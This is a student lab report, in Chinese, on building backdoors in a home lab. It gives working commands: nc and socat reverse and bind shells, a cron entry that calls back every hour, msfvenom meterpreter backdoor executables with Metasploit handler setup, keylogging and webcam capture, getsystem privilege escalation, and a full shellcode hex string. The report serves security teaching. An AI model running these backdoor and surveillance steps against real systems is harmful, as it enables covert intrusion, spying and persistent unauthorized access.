目录
一、实验内容说明及基础问题回答
二、工具准备
- 查看WindowsIP和LinuxIP
- Windows获得Linuxshell
- Linux 获得Windows shell
- 使用nc传输数据
三、实验过程
- 使用netcat获取主机操作Shell,cron启动
- 使用socat获取主机操作Shell, 任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
四、问题与思考
一、实验内容说明及基础问题回答
1、实验内容
(1)使用netcat获取主机操作Shell,cron启动 (0.5分)
(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。
2、基础问题回答
1)例举你能想到的一个后门进入到你系统中的可能方式?
- 破解Linux计算机账号密码
- 替换login程序,提供特殊口令隐身登录
- 在文件系统中隐藏后门
(2)例举你知道的后门如何启动起来(win及linux)的方式?
- Linux:通过crontab功能将木马设置为定时启动,控制主机保持监听状态就能周期性启动后门,也可以通过对正常然健的绑定注入shellcode开启后门。
- win:被动下载或接受后门程序,当受害方点击运行该程序后门便会启动。
(3)Meterpreter有哪些给你映像深刻的功能?
- 基本功能(基本的连接、执行指令)
- 扩展功能(如搜集用户信息、安装服务等功能)
(4)如何发现自己有系统有没有被安装后门?
- 安装杀毒软件:可以进行实时防护。
- 检测网络连接:查看是否有IP与本机建立连接。
二、工具准备
-
查看WindowsIP和LinuxIP
-
Windows下用命令
ipconfig
-
Linux下用
ifconfig
-
Windows获得Linux shell
-
使用ncat程序,输入
ncat.exe -l -p 5224
监听本机5224端口 -
在kali中使用nc指令的
-e
选项,输入nc 192.168.1.2 5224 -e /bin/sh
反向连接Windows主机的5224端口 -
在Windows端,获得kali的shell
Linux 获得Windows shell
-
使用
nc
指令监听5224
端口 -
在Windows下,使用
ncat.exe
程序的-e
选项反向连接kali主机的5224
端口 -
此时kali可以看到Windows的命令提示,可以输入相关Windows命令(此处输入的是
dir
)
使用nc传输数据
-
Windows监听
5224
端口 -
Kali下连接到Windows的
5224
端口 -
建立连接后传输数据
三、实验过程
使用netcat获取主机操作Shell,cron启动
-
在Windows下监听
5224
端口 -
在kali中,用
crontab -e
编辑一条定时任务,选择编辑器3
-
在最后一行添加
24 * * * * /bin/netcat 192.168.1.2 5224 -e /bin/sh
,意思是在每小时的第24分钟反向连接Windows主机的5224
端口 -
时间到了14:24时,已经获得kali的shell,可以输入指令
使用socat获取主机操作Shell, 任务计划启动
socat
是ncat
的增强版,它使用的格式是socat [options] <address> <address>
,其中两个address是必选项,而options 是可选项。
socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
-
在win10系统下,右击屏幕左下角windows图标,选择“计算机管理”(或者直接搜索“计算机管理”)
-
在任务计划程序创建任务,填写任务名称,并新建一个触发器
-
在操作->程序或脚本中选择你的
socat.exe
文件的路径,在添加参数一栏填写tcp-listen:5224 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe
绑定到端口5224
,同时把cmd.exe
的stderr
重定向到stdout
上 -
创建完成之后,发现任务已经准备就绪,按Windows+L快捷键锁定计算机,再次打开时,找到你创建的任务双击后,可以发现之前创建的任务已经开始运行
-
此时,在Kali环境下输入指令
socat - tcp:192.168.1.2:5224
,这里的第一个参数-
代表标准的输入输出,第二个流连接到Windows主机的5224端口,此时可以发现已经成功获得了一个cmd shell
使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.182.128 LPORT=5224 -f exe > 20175224_backdoor.exe
生成后门程序注意此时IP地址为LinuxIP
- Windows下执行
ncat.exe -lv 5224
>
20175224_backdoor.exe,
进入接受模式 -
Linux中执行
nc 192.168.1.2 5224 < 20175224_backdoor.exe,
注意关闭病毒查杀软件此时IP地址为主机即WindowsIP
-
传送接收文件成功
-
在kali中打开终端,输入
msfconsole
指令进入msf控制台 -
输入
use exploit/multi/handler
进入监听模块 -
输入
set payload windows/meterpreter/reverse_tcp
设置payload -
依次输入
set LHOST 192.168.182.128
和set LPORT 5224
设置IP及端口注意此时IP地址为LinuxIP,和生成后门程序时指定的IP相同
-
设置完成,开始监听
exploit
-
运行Windows下的后门程序
-
kali已经获得Windows主机的连接,并得到远程控制的shell
使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
-
使用
record_mic
指令可以截获一段音频(因家里没有供台式机使用的耳麦故无法实现) -
使用
webcam_snap
指令可以使用摄像头进行拍照(因家里台式机没有配置摄像头故无法实现) -
使用
screenshot
指令可以进行截屏 -
使用
keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录 - 先使用
getuid
指令查看当前用户,再使用getsystem
指令进行提权
可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
(方法一)
-
使用命令
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.182.128 LPORT=5224 -x /root/Desktop/20175224/exp2/pwn1 -f elf > 5224pwn
生成以pwn1模板这个elf文件格式的shellcode文件5224pwn - 输入指令
msfconsole
,进入msf命令行
use exploit/multi/handler /*进入handler模式*/ set payload linux/x86/meterpreter/reverse_tcp /*对应生成的后门程序设置payload*/ show options /*查看当前信息状态*/ set LHOST 192.168.182.128 /*设置LHOST,其中ip为攻击者Linux的ip*/ set LPORT 5224 /*设置LPORT*/ exploit /*启动监听*/
- 在kali上运行后门文件5224pwn,
在kali中执行pwn2时应先加权限 chmod +x 5224pwn
- 此时攻击者Linux上已经获得了被攻击者Linux的连接,并且得到了远程控制的shell
(方法二)
- 进入Exploit DataBase查找需要的shellcode
- 复制机器码
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80
- 注入前的准备工作
execstack -s pwn1//设置堆栈可执行 execstack -q pwn1//查询文件的堆栈是否可执行,显示X pwn1则表示可执行 echo "0" > /proc/sys/kernel/randomize_va_space//关闭地址随机化 more /proc/sys/kernel/randomize_va_space//查看随机化是否关闭,如显示0则已关闭,2未关闭
- 然后参考实验一找到shell code的起始地址(注意要关闭地址随机化) 并加在这段shellcode前面,并用其生成input_2文件。
- 在另一个终端中打开msfconsole,并打开监听(过程和前面一样所以不再赘述)
- 在原终端
(cat input_2;cat) | ./pwn1
运行pwn1并回车,另一边就可以得到shell了。
四、问题与思考
实验中遇到的问题
-
问题1:kali使用nc反弹连接后主机没有任何显示
-
问题1解决方案:在空白处输入命令,如
ls
等,再回车即可
实验体会
本次实验做的是后门,这次实验的原理比第一次实验要容易理解一些,不过操作起来因为要使用到软件所以较第一次会麻烦一点。通过本次实验,我对相关知识的掌握程度明显有所提高,能学习到很多东西,这无疑是很让人开心的。
感觉这次的实验也很有趣,期待接下来的学习!